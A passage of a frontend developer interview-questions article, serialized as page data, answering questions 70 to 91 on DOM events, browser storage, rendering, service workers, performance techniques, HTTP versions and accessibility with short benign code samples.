li.textContent)\n})\n",[34,7230,7231,7264,7286,7300,7314],{"__ignoreMap":90},[94,7232,7233,7236,7238,7240,7243,7245,7247,7249,7252,7255,7258,7260,7262],{"class":96,"line":97},[94,7234,7235],{"class":100},"document.",[94,7237,767],{"class":146},[94,7239,770],{"class":100},[94,7241,7242],{"class":153},"'ul'",[94,7244,401],{"class":100},[94,7246,7213],{"class":146},[94,7248,770],{"class":100},[94,7250,7251],{"class":153},"'click'",[94,7253,7254],{"class":100},", (",[94,7256,7257],{"class":2039},"e",[94,7259,3615],{"class":100},[94,7261,3618],{"class":753},[94,7263,1289],{"class":100},[94,7265,7266,7268,7271,7273,7276,7279,7281,7284],{"class":96,"line":111},[94,7267,4755],{"class":753},[94,7269,7270],{"class":757}," li",[94,7272,761],{"class":753},[94,7274,7275],{"class":100}," e.target.",[94,7277,7278],{"class":146},"closest",[94,7280,770],{"class":100},[94,7282,7283],{"class":153},"'li'",[94,7285,776],{"class":100},[94,7287,7288,7290,7292,7294,7297],{"class":96,"line":122},[94,7289,4782],{"class":753},[94,7291,2253],{"class":100},[94,7293,4787],{"class":753},[94,7295,7296],{"class":100},"li) ",[94,7298,7299],{"class":753},"return\n",[94,7301,7302,7304,7306,7308,7311],{"class":96,"line":138},[94,7303,2974],{"class":100},[94,7305,784],{"class":146},[94,7307,770],{"class":100},[94,7309,7310],{"class":153},"'Clicked'",[94,7312,7313],{"class":100},", li.textContent)\n",[94,7315,7316],{"class":96,"line":164},[94,7317,4639],{"class":100},[11,7319,7320,7321,7324,7325,7328],{},"Why bother? Two reasons. One, you only attach one listener instead of hundreds, which is faster and uses less memory. Two, it works for elements that do not exist yet: any ",[34,7322,7323],{},"\u003Cli>"," you add later still triggers the parent's listener, because the bubbling does not care that the listener was attached before the child existed. This is exactly how libraries like jQuery's ",[34,7326,7327],{},".on()"," worked, and why server rendered apps with dynamic content use this pattern heavily.",[23,7330,7332,7333,70,7336,229],{"id":7331},"_71-what-is-the-difference-between-eventpreventdefault-and-eventstoppropagation","71. What is the difference between ",[34,7334,7335],{},"event.preventDefault()",[34,7337,7338],{},"event.stopPropagation()",[11,7340,7341],{},"They sound similar but do completely different things.",[11,7343,7344,7347,7348,7351],{},[34,7345,7346],{},"preventDefault()"," cancels the ",[1183,7349,7350],{},"browser's default behaviour"," for the event. For a form submit event, that means the form does not submit. For a click on a link, that means the browser does not navigate. For a checkbox click, that means the checked state does not toggle.",[11,7353,7354,7357,7358,7361],{},[34,7355,7356],{},"stopPropagation()"," stops the event from continuing to ",[1183,7359,7360],{},"propagate"," through the DOM. It does not affect the browser's default behaviour at all; it just hides the event from ancestor listeners.",[85,7363,7365],{"className":744,"code":7364,"language":746,"meta":90,"style":90},"form.addEventListener('submit', (e) => {\n    e.preventDefault()              // do not actually submit the form\n    saveAjax(form)\n})\n\nchildButton.addEventListener('click', (e) => {\n    e.stopPropagation()             // do not let parent's click listener see this\n})\n",[34,7366,7367,7389,7403,7411,7415,7419,7440,7453],{"__ignoreMap":90},[94,7368,7369,7372,7374,7376,7379,7381,7383,7385,7387],{"class":96,"line":97},[94,7370,7371],{"class":100},"form.",[94,7373,7213],{"class":146},[94,7375,770],{"class":100},[94,7377,7378],{"class":153},"'submit'",[94,7380,7254],{"class":100},[94,7382,7257],{"class":2039},[94,7384,3615],{"class":100},[94,7386,3618],{"class":753},[94,7388,1289],{"class":100},[94,7390,7391,7394,7397,7400],{"class":96,"line":111},[94,7392,7393],{"class":100},"    e.",[94,7395,7396],{"class":146},"preventDefault",[94,7398,7399],{"class":100},"()              ",[94,7401,7402],{"class":790},"// do not actually submit the form\n",[94,7404,7405,7408],{"class":96,"line":122},[94,7406,7407],{"class":146},"    saveAjax",[94,7409,7410],{"class":100},"(form)\n",[94,7412,7413],{"class":96,"line":138},[94,7414,4639],{"class":100},[94,7416,7417],{"class":96,"line":164},[94,7418,289],{"emptyLinePlaceholder":288},[94,7420,7421,7424,7426,7428,7430,7432,7434,7436,7438],{"class":96,"line":174},[94,7422,7423],{"class":100},"childButton.",[94,7425,7213],{"class":146},[94,7427,770],{"class":100},[94,7429,7251],{"class":153},[94,7431,7254],{"class":100},[94,7433,7257],{"class":2039},[94,7435,3615],{"class":100},[94,7437,3618],{"class":753},[94,7439,1289],{"class":100},[94,7441,7442,7444,7447,7450],{"class":96,"line":188},[94,7443,7393],{"class":100},[94,7445,7446],{"class":146},"stopPropagation",[94,7448,7449],{"class":100},"()             ",[94,7451,7452],{"class":790},"// do not let parent's click listener see this\n",[94,7454,7455],{"class":96,"line":203},[94,7456,4639],{"class":100},[11,7458,7459,7460,7462,7463,7465],{},"You often want one and not the other. A common mistake is calling ",[34,7461,7356],{}," when you really meant ",[34,7464,7346],{},", and being confused that the form still submits.",[23,7467,7469,7470,70,7472,229],{"id":7468},"_72-what-is-the-difference-between-addeventlistener-and-onclick","72. What is the difference between ",[34,7471,7213],{},[34,7473,7474],{},"onclick",[11,7476,7477,7479,7480,7483],{},[34,7478,7474],{}," (and other ",[34,7481,7482],{},"on*"," properties) is a single property on the element. Assigning to it overwrites whatever was there before, so you can only have one handler at a time.",[11,7485,7486,7488,7489,7492,7493,346,7496,7498,7499,360],{},[34,7487,7213],{}," is a method that registers a handler in a list. You can register many handlers for the same event without overwriting each other, you can remove specific ones with ",[34,7490,7491],{},"removeEventListener",", and you can pass options like ",[34,7494,7495],{},"{ once: true }",[34,7497,7209],{},", or ",[34,7500,7501],{},"{ passive: true }",[85,7503,7505],{"className":744,"code":7504,"language":746,"meta":90,"style":90},"btn.onclick = () => console.log('A')\nbtn.onclick = () => console.log('B')   // replaces A\n\nbtn.addEventListener('click', () => console.log('A'))\nbtn.addEventListener('click', () => console.log('B'))   // both run\n",[34,7506,7507,7531,7558,7562,7587],{"__ignoreMap":90},[94,7508,7509,7512,7514,7516,7518,7520,7522,7524,7526,7529],{"class":96,"line":97},[94,7510,7511],{"class":100},"btn.",[94,7513,7474],{"class":146},[94,7515,761],{"class":753},[94,7517,3660],{"class":100},[94,7519,3618],{"class":753},[94,7521,3665],{"class":100},[94,7523,784],{"class":146},[94,7525,770],{"class":100},[94,7527,7528],{"class":153},"'A'",[94,7530,776],{"class":100},[94,7532,7533,7535,7537,7539,7541,7543,7545,7547,7549,7552,7555],{"class":96,"line":111},[94,7534,7511],{"class":100},[94,7536,7474],{"class":146},[94,7538,761],{"class":753},[94,7540,3660],{"class":100},[94,7542,3618],{"class":753},[94,7544,3665],{"class":100},[94,7546,784],{"class":146},[94,7548,770],{"class":100},[94,7550,7551],{"class":153},"'B'",[94,7553,7554],{"class":100},")   ",[94,7556,7557],{"class":790},"// replaces A\n",[94,7559,7560],{"class":96,"line":122},[94,7561,289],{"emptyLinePlaceholder":288},[94,7563,7564,7566,7568,7570,7572,7575,7577,7579,7581,7583,7585],{"class":96,"line":138},[94,7565,7511],{"class":100},[94,7567,7213],{"class":146},[94,7569,770],{"class":100},[94,7571,7251],{"class":153},[94,7573,7574],{"class":100},", () ",[94,7576,3618],{"class":753},[94,7578,3665],{"class":100},[94,7580,784],{"class":146},[94,7582,770],{"class":100},[94,7584,7528],{"class":153},[94,7586,4474],{"class":100},[94,7588,7589,7591,7593,7595,7597,7599,7601,7603,7605,7607,7609,7612],{"class":96,"line":164},[94,7590,7511],{"class":100},[94,7592,7213],{"class":146},[94,7594,770],{"class":100},[94,7596,7251],{"class":153},[94,7598,7574],{"class":100},[94,7600,3618],{"class":753},[94,7602,3665],{"class":100},[94,7604,784],{"class":146},[94,7606,770],{"class":100},[94,7608,7551],{"class":153},[94,7610,7611],{"class":100},"))   ",[94,7613,7614],{"class":790},"// both run\n",[11,7616,7617,7619,7620,7622],{},[34,7618,7213],{}," is the modern default, and there is rarely a reason to use ",[34,7621,7474],{}," in new code outside of quick demos.",[23,7624,7626,7627,346,7630,7633],{"id":7625},"_73-what-is-the-difference-between-localstorage-sessionstorage-and-cookies","73. What is the difference between ",[34,7628,7629],{},"localStorage",[34,7631,7632],{},"sessionStorage",", and cookies?",[11,7635,7636],{},"All three let the browser store data on the user's machine, but they have very different lifetimes, sizes, and behaviours.",[497,7638,7639,7652],{},[500,7640,7641],{},[503,7642,7643,7645,7647,7649],{},[506,7644,2714],{},[506,7646,7629],{},[506,7648,7632],{},[506,7650,7651],{},"Cookies",[519,7653,7654,7667,7681,7693,7708],{},[503,7655,7656,7659,7662,7664],{},[524,7657,7658],{},"Capacity",[524,7660,7661],{},"Around 5 to 10MB",[524,7663,7661],{},[524,7665,7666],{},"Around 4KB total",[503,7668,7669,7672,7675,7678],{},[524,7670,7671],{},"Lifetime",[524,7673,7674],{},"Until manually cleared",[524,7676,7677],{},"Until the tab is closed",[524,7679,7680],{},"Configurable expiry",[503,7682,7683,7686,7688,7690],{},[524,7684,7685],{},"Sent to the server",[524,7687,550],{},[524,7689,550],{},[524,7691,7692],{},"Yes, with every request",[503,7694,7695,7698,7700,7702],{},[524,7696,7697],{},"Accessible from JavaScript",[524,7699,535],{},[524,7701,535],{},[524,7703,7704,7705],{},"Yes, unless ",[34,7706,7707],{},"HttpOnly",[503,7709,7710,7713,7715,7718],{},[524,7711,7712],{},"Per origin?",[524,7714,535],{},[524,7716,7717],{},"Yes (and per tab)",[524,7719,7720],{},"Yes (with path / domain rules)",[11,7722,7723],{},[426,7724],{"alt":7725,"src":7726},"Browser storage comparison diagram","/post-images/top-100-frontend-interview-questions/browser-storage-comparison-diagram.png",[11,7728,7729,7730,7732,7733,7735,7736,70,7738,7741,7742,7744],{},"Practical guidance: use ",[34,7731,7629],{}," for non sensitive user preferences (theme, last visited page). Use ",[34,7734,7632],{}," for temporary state tied to the current tab (like a wizard's progress). Use cookies for things the server needs to see automatically (especially auth tokens, with ",[34,7737,7707],{},[34,7739,7740],{},"Secure"," flags). Never put sensitive data like access tokens in ",[34,7743,7629],{},", because any script running on your page can read it.",[23,7746,7748],{"id":7747},"_74-what-is-indexeddb","74. What is IndexedDB?",[11,7750,7751,7752,7754],{},"IndexedDB is a low level, in browser database designed for storing large amounts of structured data. Where ",[34,7753,7629],{}," is a key value store limited to a few megabytes of strings, IndexedDB can hold much more (often hundreds of MB), supports indexes for fast lookup, supports transactions, and can store complex JavaScript values directly (objects, blobs, files).",[11,7756,7757,7758,216,7761,7764],{},"The downside is that the API is famously verbose and asynchronous. Most projects use a small wrapper library like ",[34,7759,7760],{},"idb",[34,7762,7763],{},"Dexie.js"," rather than calling the raw API. IndexedDB is the right tool for offline first apps, caching API responses for the long term, or storing user uploaded files locally.",[23,7766,7768],{"id":7767},"_75-what-is-the-critical-rendering-path","75. What is the critical rendering path?",[11,7770,7771],{},"The critical rendering path is the sequence of steps the browser takes to turn HTML, CSS, and JavaScript into actual pixels on the screen.",[11,7773,7774],{},[426,7775],{"alt":7776,"src":7777},"Critical rendering path diagram","/post-images/top-100-frontend-interview-questions/critical-rendering-path-diagram.png",[11,7779,7780],{},"The stages, in order:",[1940,7782,7783,7789,7795,7805,7811,7817],{},[486,7784,7785,7788],{},[1183,7786,7787],{},"Parse HTML"," into the DOM tree.",[486,7790,7791,7794],{},[1183,7792,7793],{},"Parse CSS"," into the CSSOM (CSS Object Model) tree.",[486,7796,7797,7800,7801,7804],{},[1183,7798,7799],{},"Combine"," them into the ",[1183,7802,7803],{},"render tree",", which contains only visible elements with their computed styles.",[486,7806,7807,7810],{},[1183,7808,7809],{},"Layout",": compute the exact size and position of every box.",[486,7812,7813,7816],{},[1183,7814,7815],{},"Paint",": turn each box into actual pixels in memory.",[486,7818,7819,7822],{},[1183,7820,7821],{},"Composite",": combine the painted layers into the final image you see.",[11,7824,7825],{},"Two practical implications: CSS blocks rendering (the browser will not paint until CSS is loaded), and synchronous JavaScript blocks parsing (the browser stops building the DOM while it runs your script). That is why minimising blocking resources is the first thing you do for performance.",[23,7827,7829],{"id":7828},"_76-what-is-reflow-layout-and-repaint","76. What is reflow (layout) and repaint?",[11,7831,7832],{},"These are two stages of the rendering pipeline that happen whenever something on the page changes.",[11,7834,7835,7838],{},[1183,7836,7837],{},"Reflow"," (also called layout) is the process of recalculating where elements go and how big they are. It happens when you change anything that affects geometry: width, height, font size, content, position. Reflow is expensive because changing one element often forces the browser to recalculate its parents and siblings too.",[11,7840,7841,7844],{},[1183,7842,7843],{},"Repaint"," is the process of redrawing the pixels for an element after layout is done, or when a non geometric property changes (color, background, visibility). Repaint is cheaper than reflow but still costs work.",[11,7846,7847,7848,7851,7852,70,7854,7856],{},"The fastest changes are ones that need only ",[1183,7849,7850],{},"compositing",", not layout or paint. ",[34,7853,2427],{},[34,7855,2434],{}," usually fall into this category, because they can be done by the GPU without touching the geometry of the page. That is why these two properties are the gold standard for smooth animations.",[23,7858,7860],{"id":7859},"_77-what-is-a-service-worker","77. What is a service worker?",[11,7862,7863],{},"A service worker is a script the browser runs in the background, completely separate from any web page. It sits between your page and the network, and it can intercept every request your page makes. That gives it superpowers like serving cached responses when offline, prefetching resources for later, and receiving push notifications even when no tab is open.",[11,7865,7866,7867,7870],{},"Service workers are the foundation of Progressive Web Apps (PWAs). The basic lifecycle: your page registers the worker, the browser installs and activates it, and from then on the worker runs whenever the page is open or whenever a push event arrives. Service workers can only run on HTTPS (or ",[34,7868,7869],{},"localhost","), because the ability to intercept requests would be a serious attack vector otherwise.",[23,7872,7874,7875,5607,7878,7881],{"id":7873},"_78-what-is-the-difference-between-iframe-postmessage-and-shared-workers","78. What is the difference between ",[34,7876,7877],{},"\u003Ciframe>",[34,7879,7880],{},"postMessage"," and shared workers?",[11,7883,7884],{},"These solve very different problems, but interviewers sometimes lump them together.",[11,7886,7887,7889,7890,7892,7893,7896],{},[34,7888,7880],{}," is a cross window messaging API. It lets a page send messages to another window, an ",[34,7891,7877],{},", or a popup, even when they are on different origins. The receiver listens for the ",[34,7894,7895],{},"message"," event. This is how, for example, an embedded payment iframe communicates back to its host page.",[11,7898,1748,7899,7902],{},[1183,7900,7901],{},"shared worker"," is a separate JavaScript thread that multiple tabs from the same origin can talk to and share. It is useful when you want one piece of work (like maintaining a long lived WebSocket) to be shared across all open tabs of your site, instead of each tab opening its own.",[11,7904,7905,7906,7908,7909,7912,7913,7916],{},"Different problems: ",[34,7907,7880],{}," is for cross origin ",[1183,7910,7911],{},"communication"," between windows; shared workers are for shared ",[1183,7914,7915],{},"computation"," within an origin.",[23,7918,7920],{"id":7919},"_79-what-is-the-difference-between-synchronous-and-asynchronous-javascript","79. What is the difference between synchronous and asynchronous JavaScript?",[11,7922,7923,7926],{},[1183,7924,7925],{},"Synchronous"," code runs top to bottom, one line at a time, and each line finishes before the next one starts. If a line takes a long time (a complex calculation, a synchronous network call), the rest of your code, and the rest of your page, has to wait.",[11,7928,7929,7932],{},[1183,7930,7931],{},"Asynchronous"," code starts an operation and continues running. The result comes back later, through a callback, a Promise, or an event. Network requests, timers, file I/O, and user input are all asynchronous in the browser.",[85,7934,7936],{"className":744,"code":7935,"language":746,"meta":90,"style":90},"// synchronous\nconst x = 1 + 1\nconsole.log(x)\n\n// asynchronous\nfetch('/api/users')\n    .then(res => res.json())\n    .then(users => console.log(users))\nconsole.log('this runs first, before users arrive')\n",[34,7937,7938,7943,7958,7967,7971,7976,7987,8008,8028],{"__ignoreMap":90},[94,7939,7940],{"class":96,"line":97},[94,7941,7942],{"class":790},"// synchronous\n",[94,7944,7945,7947,7950,7952,7954,7956],{"class":96,"line":111},[94,7946,754],{"class":753},[94,7948,7949],{"class":757}," x",[94,7951,761],{"class":753},[94,7953,5936],{"class":757},[94,7955,5933],{"class":753},[94,7957,2905],{"class":757},[94,7959,7960,7962,7964],{"class":96,"line":122},[94,7961,781],{"class":100},[94,7963,784],{"class":146},[94,7965,7966],{"class":100},"(x)\n",[94,7968,7969],{"class":96,"line":138},[94,7970,289],{"emptyLinePlaceholder":288},[94,7972,7973],{"class":96,"line":164},[94,7974,7975],{"class":790},"// asynchronous\n",[94,7977,7978,7980,7982,7985],{"class":96,"line":174},[94,7979,4700],{"class":146},[94,7981,770],{"class":100},[94,7983,7984],{"class":153},"'/api/users'",[94,7986,776],{"class":100},[94,7988,7989,7992,7994,7996,7999,8001,8003,8005],{"class":96,"line":188},[94,7990,7991],{"class":100},"    .",[94,7993,4459],{"class":146},[94,7995,770],{"class":100},[94,7997,7998],{"class":2039},"res",[94,8000,3641],{"class":753},[94,8002,4818],{"class":100},[94,8004,4821],{"class":146},[94,8006,8007],{"class":100},"())\n",[94,8009,8010,8012,8014,8016,8019,8021,8023,8025],{"class":96,"line":203},[94,8011,7991],{"class":100},[94,8013,4459],{"class":146},[94,8015,770],{"class":100},[94,8017,8018],{"class":2039},"users",[94,8020,3641],{"class":753},[94,8022,3665],{"class":100},[94,8024,784],{"class":146},[94,8026,8027],{"class":100},"(users))\n",[94,8029,8030,8032,8034,8036,8039],{"class":96,"line":1695},[94,8031,781],{"class":100},[94,8033,784],{"class":146},[94,8035,770],{"class":100},[94,8037,8038],{"class":153},"'this runs first, before users arrive'",[94,8040,776],{"class":100},[11,8042,8043],{},"JavaScript is single threaded, so async is how it stays responsive. If everything were synchronous, every network request would freeze the browser tab while it waited.",[23,8045,8047,8048,346,8051,463,8054,229],{"id":8046},"_80-what-is-the-difference-between-window-document-and-navigator","80. What is the difference between ",[34,8049,8050],{},"Window",[34,8052,8053],{},"Document",[34,8055,8056],{},"Navigator",[11,8058,8059],{},"All three are objects available globally in the browser, but they represent different things.",[483,8061,8062,8074,8084],{},[486,8063,8064,8066,8067,346,8069,463,8072,360],{},[34,8065,8050],{}," is the global object. It represents the browser tab (or the iframe) and is where global variables live. It also exposes things like ",[34,8068,4318],{},[34,8070,8071],{},"alert",[34,8073,7629],{},[486,8075,8076,8078,8079,346,8081,401],{},[34,8077,8053],{}," represents the loaded page. It is the root of the DOM tree, and it is how you reach elements (",[34,8080,7019],{},[34,8082,8083],{},"document.querySelector",[486,8085,8086,8088,8089,346,8092,346,8095,463,8098,8101],{},[34,8087,8056],{}," represents the browser itself. Things like ",[34,8090,8091],{},"navigator.userAgent",[34,8093,8094],{},"navigator.onLine",[34,8096,8097],{},"navigator.clipboard",[34,8099,8100],{},"navigator.geolocation"," live here.",[11,8103,8104,8105,8108,8109,8112,8113,360],{},"You can think of it as: window is ",[1183,8106,8107],{},"where I am",", document is ",[1183,8110,8111],{},"what I am looking at",", and navigator is ",[1183,8114,8115],{},"what I am using to look at it",[18,8117,8119],{"id":8118},"performance-and-optimization","Performance and Optimization",[23,8121,8123],{"id":8122},"_81-what-is-lazy-loading","81. What is lazy loading?",[11,8125,8126],{},"Lazy loading is the practice of postponing the loading of a resource until you actually need it. The classic example is images: rather than downloading every image on a long page when it first loads, the browser only fetches each image as the user scrolls near it.",[11,8128,8129],{},"For images and iframes, the browser supports lazy loading natively:",[85,8131,8133],{"className":87,"code":8132,"language":89,"meta":90,"style":90},"\u003Cimg src=\"hero.jpg\" loading=\"lazy\" alt=\"...\" width=\"800\" height=\"600\" />\n\u003Ciframe src=\"...\" loading=\"lazy\">\u003C/iframe>\n",[34,8134,8135,8181],{"__ignoreMap":90},[94,8136,8137,8139,8141,8143,8145,8148,8151,8153,8156,8158,8160,8163,8166,8168,8171,8174,8176,8179],{"class":96,"line":97},[94,8138,101],{"class":100},[94,8140,426],{"class":104},[94,8142,429],{"class":146},[94,8144,150],{"class":100},[94,8146,8147],{"class":153},"\"hero.jpg\"",[94,8149,8150],{"class":146}," loading",[94,8152,150],{"class":100},[94,8154,8155],{"class":153},"\"lazy\"",[94,8157,437],{"class":146},[94,8159,150],{"class":100},[94,8161,8162],{"class":153},"\"...\"",[94,8164,8165],{"class":146}," width",[94,8167,150],{"class":100},[94,8169,8170],{"class":153},"\"800\"",[94,8172,8173],{"class":146}," height",[94,8175,150],{"class":100},[94,8177,8178],{"class":153},"\"600\"",[94,8180,445],{"class":100},[94,8182,8183,8185,8188,8190,8192,8194,8196,8198,8200,8203,8205],{"class":96,"line":111},[94,8184,101],{"class":100},[94,8186,8187],{"class":104},"iframe",[94,8189,429],{"class":146},[94,8191,150],{"class":100},[94,8193,8162],{"class":153},[94,8195,8150],{"class":146},[94,8197,150],{"class":100},[94,8199,8155],{"class":153},[94,8201,8202],{"class":100},">\u003C/",[94,8204,8187],{"class":104},[94,8206,108],{"class":100},[11,8208,8209,8210,8213],{},"For JavaScript, lazy loading usually means dynamic ",[34,8211,8212],{},"import()",", which loads a module only when called. This is especially useful for large features that not every user will reach (settings pages, admin panels, complex editors). The benefit is faster initial loads, lower data usage, and less battery for everyone, especially on mobile.",[23,8215,8217],{"id":8216},"_82-what-is-code-splitting","82. What is code splitting?",[11,8219,8220],{},"Code splitting is the practice of breaking your JavaScript into multiple smaller bundles that the browser downloads on demand, instead of one giant bundle that the user has to wait for upfront.",[11,8222,8223,8224,8226],{},"Modern bundlers (Webpack, Rollup, Vite, esbuild) split automatically when they encounter a dynamic ",[34,8225,8212],{},". Each split point produces its own chunk that is fetched only when needed. The result is that the initial page paints faster, because the user only downloads the code required for the route they are on, not for every route in the app.",[11,8228,8229],{},"The most common patterns: split per route (each page is its own chunk), split per heavy library (the chart library only loads on the analytics page), and split per modal or dialog that is rare to open.",[23,8231,8233],{"id":8232},"_83-what-is-tree-shaking","83. What is tree shaking?",[11,8235,8236],{},"Tree shaking is the build step that removes code that is exported but never imported, so it never makes it into the final bundle. The \"tree\" is the dependency graph of your imports, and \"shaking\" the tree means dropping the leaves (unused exports) that fall off.",[11,8238,8239,8240,3497,8243,8246,8247,8250,8251,8254,8255,8258],{},"For tree shaking to work, two things have to be true. First, you have to use ES Modules (",[34,8241,8242],{},"import",[34,8244,8245],{},"export","), because they are statically analysable. CommonJS (",[34,8248,8249],{},"require",") is too dynamic to shake reliably. Second, the bundler needs to know that the code has no side effects, which usually means setting ",[34,8252,8253],{},"\"sideEffects\": false"," in ",[34,8256,8257],{},"package.json"," and avoiding top level code that does anything observable.",[11,8260,8261],{},"Done right, tree shaking can take a 200KB library import and ship only the few KB you actually use.",[23,8263,8265],{"id":8264},"_84-what-is-the-difference-between-minification-compression-and-bundling","84. What is the difference between minification, compression, and bundling?",[11,8267,8268],{},"These three steps usually happen together, but they do different things.",[483,8270,8271,8277,8283],{},[486,8272,8273,8276],{},[1183,8274,8275],{},"Bundling"," combines many source files into one or a few output files. The motivation is fewer HTTP requests and a chance for the bundler to optimise across files.",[486,8278,8279,8282],{},[1183,8280,8281],{},"Minification"," rewrites the source itself to be smaller: stripping whitespace, shortening variable names, removing dead code, collapsing expressions. The output is still valid JavaScript, just unreadable.",[486,8284,8285,8288],{},[1183,8286,8287],{},"Compression"," is done at the HTTP level, usually gzip or Brotli. The server compresses the response, the browser decompresses it. This can shave off another 60 to 80% on top of minification, because text compresses well.",[11,8290,8291],{},"A typical production pipeline: bundle, then minify, then let the server / CDN compress. All three are essentially free wins, and you should always have them on for production.",[23,8293,8295],{"id":8294},"_85-what-are-the-core-web-vitals","85. What are the Core Web Vitals?",[11,8297,8298],{},"Core Web Vitals are Google's three key user experience metrics. They are designed to capture how a real user perceives a page: how fast it shows up, how responsive it feels, and how stable it is.",[483,8300,8301,8307,8313],{},[486,8302,8303,8306],{},[1183,8304,8305],{},"LCP (Largest Contentful Paint)",": how long it takes for the largest visible element (usually a hero image or a big heading) to render. Target: under 2.5 seconds. This measures perceived load speed.",[486,8308,8309,8312],{},[1183,8310,8311],{},"INP (Interaction to Next Paint)",": how long it takes for the page to update visually after a user interaction (click, tap, key press). Target: under 200 ms. This measures responsiveness. INP replaced FID (First Input Delay) in 2024.",[486,8314,8315,8318],{},[1183,8316,8317],{},"CLS (Cumulative Layout Shift)",": how much the content jumps around during loading. Target: under 0.1. This measures visual stability.",[11,8320,8321],{},"Google uses these metrics as a ranking signal for search results, so they matter not only for user experience but also for SEO.",[23,8323,8325],{"id":8324},"_86-what-is-the-difference-between-caching-strategies-cache-first-network-first-stale-while-revalidate","86. What is the difference between caching strategies: cache first, network first, stale while revalidate?",[11,8327,8328],{},"These are the three most common strategies you implement in a service worker (or a CDN) for handling requests.",[483,8330,8331,8337,8343],{},[486,8332,8333,8336],{},[1183,8334,8335],{},"Cache first",": try the cache; only hit the network if the cache misses. Fastest possible response. Risk: serving stale content. Best for static assets (CSS, JS, images, fonts).",[486,8338,8339,8342],{},[1183,8340,8341],{},"Network first",": try the network; fall back to the cache only if the network fails. Freshest content. Risk: slower, especially on bad networks. Best for HTML pages or API responses where staleness is unacceptable.",[486,8344,8345,8348],{},[1183,8346,8347],{},"Stale while revalidate",": return the cached response immediately, then fetch in the background and update the cache for next time. Fast and self healing. Best for content that updates frequently but does not need to be perfectly fresh, like list views or product cards.",[11,8350,8351],{},"Picking the right strategy per resource is the heart of a good offline experience.",[23,8353,8355],{"id":8354},"_87-what-is-the-difference-between-http11-http2-and-http3","87. What is the difference between HTTP/1.1, HTTP/2, and HTTP/3?",[11,8357,8358],{},"Each new version of HTTP fixed a major bottleneck of the previous one.",[11,8360,8361,8364],{},[1183,8362,8363],{},"HTTP/1.1"," (1997) is the version the early web ran on. It is text based and sends one request at a time over a connection. To load many resources in parallel, browsers open multiple connections (typically six per origin), but each connection can still only do one thing at a time, so a slow response blocks others on that connection.",[11,8366,8367,8370,8371,8374],{},[1183,8368,8369],{},"HTTP/2"," (2015) added ",[1183,8372,8373],{},"multiplexing",": many requests and responses can flow over a single connection at once, in any order. It also added header compression (HPACK) and binary framing. Big improvement, but it still runs on TCP, so a single dropped packet stalls all streams on the connection (head of line blocking at the transport layer).",[11,8376,8377,8380],{},[1183,8378,8379],{},"HTTP/3"," (2022) replaces TCP with QUIC, which runs on UDP. Each stream gets its own loss recovery, so a dropped packet only blocks the stream it belongs to. It also has faster connection setup (TLS handshake folded into the first round trip).",[11,8382,8383],{},"For developers, the practical takeaway: HTTP/2 and HTTP/3 reward serving many small resources over one connection, which is the opposite of the old HTTP/1 advice of bundling everything into a few files.",[23,8385,8387],{"id":8386},"_88-what-is-a-cdn","88. What is a CDN?",[11,8389,8390],{},"A CDN (Content Delivery Network) is a globally distributed network of servers that cache your static assets. Instead of every user fetching your CSS and images from your origin server (which might be in one data center), they download from the CDN node closest to them, which can be hundreds of locations worldwide.",[11,8392,8393],{},"The benefits add up fast: lower latency (closer servers), reduced load on your origin (most requests never reach it), automatic protection against traffic spikes, and often built in security features (DDoS protection, web application firewall). Popular CDNs include Cloudflare, Fastly, AWS CloudFront, and Akamai.",[11,8395,8396],{},"For most websites today, putting a CDN in front of your origin is one of the highest leverage performance changes you can make, often free or very cheap.",[23,8398,8400,8401,346,8403,8405],{"id":8399},"_89-what-is-the-difference-between-defer-async-and-module-preload-for-performance","89. What is the difference between ",[34,8402,480],{},[34,8404,477],{},", and module preload for performance?",[11,8407,8408],{},"These all influence when scripts download and run, and they have different sweet spots.",[483,8410,8411,8416,8421],{},[486,8412,8413,8415],{},[34,8414,480],{},": download in parallel, run after HTML parsing, in document order. Best default for application scripts that need the DOM.",[486,8417,8418,8420],{},[34,8419,477],{},": download in parallel, run as soon as ready, in any order. Best for independent third party scripts that do not depend on each other or the DOM, like analytics.",[486,8422,8423,8426],{},[34,8424,8425],{},"\u003Clink rel=\"modulepreload\" href=\"...\">",": warms the module cache for an ES module you know you will need, including its dependencies. Useful when you have a big module graph and want it ready before the import statement actually runs.",[11,8428,8429],{},"A lot of performance wins come from picking the right one for each script, instead of leaving everything as render blocking by default.",[23,8431,8433],{"id":8432},"_90-how-do-you-optimise-images-for-the-web","90. How do you optimise images for the web?",[11,8435,8436],{},"Images are usually the heaviest part of a page, so there is a lot of leverage here. The main techniques:",[483,8438,8439,8445,8458,8467,8478,8491],{},[486,8440,8441,8444],{},[1183,8442,8443],{},"Use modern formats",": AVIF and WebP compress dramatically better than JPEG and PNG, often 30 to 50% smaller at the same quality.",[486,8446,8447,8450,8451,70,8454,8457],{},[1183,8448,8449],{},"Serve the right size",": a 2000 pixel wide image displayed at 400 pixels is wasted bandwidth. Use ",[34,8452,8453],{},"srcset",[34,8455,8456],{},"sizes"," so the browser picks the right one for the device.",[486,8459,8460,8466],{},[1183,8461,8462,8463],{},"Use ",[34,8464,8465],{},"loading=\"lazy\""," for images below the fold so they only download when needed.",[486,8468,8469,8477],{},[1183,8470,8471,8472,70,8474,8476],{},"Set explicit ",[34,8473,1210],{},[34,8475,1245],{}," attributes"," so the browser reserves space and the page does not jump (this directly improves CLS).",[486,8479,8480,8483,8484,346,8487,8490],{},[1183,8481,8482],{},"Compress aggressively",": most photos can drop to 70 to 80% quality without any visible difference; many pipelines use tools like ",[34,8485,8486],{},"sharp",[34,8488,8489],{},"squoosh",", or your CDN's image optimisation API to do this automatically.",[486,8492,8493,8496],{},[1183,8494,8495],{},"For decorative or icon use",": prefer SVG, which scales without losing quality and is usually tiny.",[11,8498,8499],{},"Doing all of these is the difference between a 10MB page and a 1MB page that looks the same.",[18,8501,8503],{"id":8502},"accessibility-security-and-misc","Accessibility, Security, and Misc",[23,8505,8507],{"id":8506},"_91-what-is-web-accessibility-a11y","91. What is web accessibility (a11y)?",[11,8509,8510],{},"Accessibility, often shortened to \"a11y\" (because there are 11 letters between the \"a\" and the \"y\"), is the practice of designing and building websites so that people with disabilities can use them. That includes people who are blind or have low vision, people who cannot use a mouse and rely on keyboards or assistive devices, people who are deaf or hard of hearing, and people with cognitive or motor differences.",[11,8512,8513],{},"In practice, accessibility means things like: writing meaningful HTML so screen readers can navigate the page, ensuring everything is reachable by keyboard alone, providing alt text for images and captions for videos, using sufficient color contrast, supporting \"reduce motion\" preferences, and giving form fields proper labels.",[11,8515,8516],{},"The Web Content Accessibility Guidelines (WCAG) provide the formal standards. In many countries accessibility is also a legal requirement for public facing 